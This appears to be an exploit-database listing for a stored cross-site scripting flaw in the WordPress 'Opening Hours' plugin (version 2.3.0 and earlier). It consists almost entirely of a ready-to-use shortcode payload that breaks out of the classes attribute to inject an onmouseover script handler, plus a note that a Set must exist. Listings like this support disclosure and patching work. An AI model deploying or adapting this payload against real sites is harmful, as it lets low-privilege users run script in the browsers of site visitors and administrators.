Exploit for Opening Hours <= 2.3.0 - Contributor+ Stored XSS via Shortcode
Exploit Code
## https://sploitus.com/exploit?id=WPEX-ID:309799DD-DEA7-489D-8D18-B6014534F5AF
Note: A Set needs to be present
[op-is-open set_id='1' classes='" onmouseover="alert(1)" style="background:red;"']